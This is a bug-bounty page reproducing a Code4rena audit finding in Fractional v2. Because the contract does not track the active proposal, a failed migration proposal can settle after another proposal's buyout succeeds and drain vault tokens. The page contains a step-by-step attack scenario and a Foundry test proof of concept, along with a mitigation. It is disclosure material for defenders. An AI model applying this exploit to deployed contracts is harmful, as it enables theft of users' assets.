Skip to content
Business logic Audit finding Advanced

Proposal which started buyout which fails is able to settle migration as if its buyout succeeded.

A failed migration proposal could still be settled after a different successful buyout, allowing the failed proposer to withdraw all vault tokens. An attacker could exploit this to steal assets from a legitimate proposer.

panprog Follow

Originally disclosed on Code4rena

Submitted by panprog, also found by 0xsanson, bin2chen, hansfriese, kenzo, PwnedNoMore, smiling_heretic, Treasure-Seeker, and TrungOre

If one proposal starts a buyout which fails, and then another proposal starts a buyout which succeeds, then both of them will be commited and settleVault can be called on any of them. If it’s called on the failed proposal first, then it will settle even though buyout has failed (and it can proceed to withdraw all tokens to a new vault).

Malicious proposal being able to successfully migrate scenario:

  1. Bob starts a malicious proposal to migrate with a low targetPrice, which immediately initiates a buyout
  2. Buyout fails (but malicious proposal is marked as committed)
  3. Alice starts a good proposal to migrate, which goes on to buyout which eventually succeeds to get 50%+ fractions
  4. Alice ends the buyout
  5. Bob immediately calls settleVault with his malicious proposal
  6. Bob’s malicious proposal settles (and he can go on to withdraw all tokens from the vault into his malicious proposal effectively stealing assets from Alice).

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH3() public {
	initializeMigration(alice, bob, 10000, 4000, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		1 ether
	);
	// Bob joins the proposal with 4000 fractions
	bob.migrationModule.join{value: 1 ether}(vault, 1, 4000);

	// since the target price is reached, bob starts the buyout
	bob.migrationModule.commit(vault, 1);

	vm.warp(rejectionPeriod + 1);

	// after buyout fails, bob ends it
	// note: bob's proposal is still commited even though it has failed
	bob.buyoutModule.end(vault, burnProof);
	bob.migrationModule.withdrawContribution(vault, 1);

	// Alice makes a different proposal (we use bob's data for simplicity)
	alice.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 10,
		1 ether
	);

	// Alice joins the proposal with 6000 fractions
	alice.migrationModule.join{value: 1 ether}(vault, 2, 6000);

	// since the target price is reached, alice starts the buyout
	alice.migrationModule.commit(vault, 2);

	vm.warp(proposalPeriod * 10);

	// after buyout succeeds (as it has >50% of fractions), alice ends it
	// note: both bob's and alice's proposals are commited at this point
	alice.buyoutModule.end(vault, burnProof);

	// Now bob (whose buyout has failed) settles his proposal
	// It should revert, but it succeeds
	vm.expectRevert(
		abi.encodeWithSelector(IMigration.UnsuccessfulMigration.selector)
	);
	bob.migrationModule.settleVault(vault, 2);
}

Recommended Mitigation Steps

Add a new storage variable for currently active proposal id. Allow calling settleVault only for active proposal id (and also only if buyout’s proposer equals Migration address, otherwise there can be a different successful buyout not connected to the active proposal). Also add appropriate checks with active proposal in the other functions as well (don’t allow to commit if there is an active proposal etc).

Ferret-san (Fractional) confirmed

HardlyDifficult (judge) commented:

A failed migration can settle after a successful buyout. Agree this is High risk.

Selecting this submission as the primary for including a clear coded POC.


The original report as published on Code4rena, by panprog. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the contract does not track which proposal is currently active, so settleVault can be called on any committed proposal, even one whose buyout failed.

Impact

A malicious proposer could settle a failed migration and withdraw all vault tokens, stealing assets from the legitimate proposer.

What the attacker needed

Attacker can create a migration proposal; attacker can join with enough fractions to trigger buyout; victim creates a successful migration proposal

The fix

The contract should track the currently active proposal and only allow settleVault for that proposal, also checking that the buyout's proposer is the Migration contract.

How it was found

  1. Bob creates a migration proposal with a low target price, which starts a buyout.
  2. The buyout fails, but Bob's proposal remains committed.
  3. Alice creates a different migration proposal that starts a buyout and succeeds.
  4. Alice ends the successful buyout.
  5. Bob calls settleVault on his failed proposal, and it succeeds instead of reverting.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault holds valuable tokens. Users can propose to migrate the vault to new settings, and if enough people join, a buyout happens. The bug is that a proposal whose buyout failed can still be settled later if another proposal's buyout succeeds, letting the failed proposer take all the tokens.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by panprog

View all

66 more disclosed reports, best first.

More from Fractional v2 contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.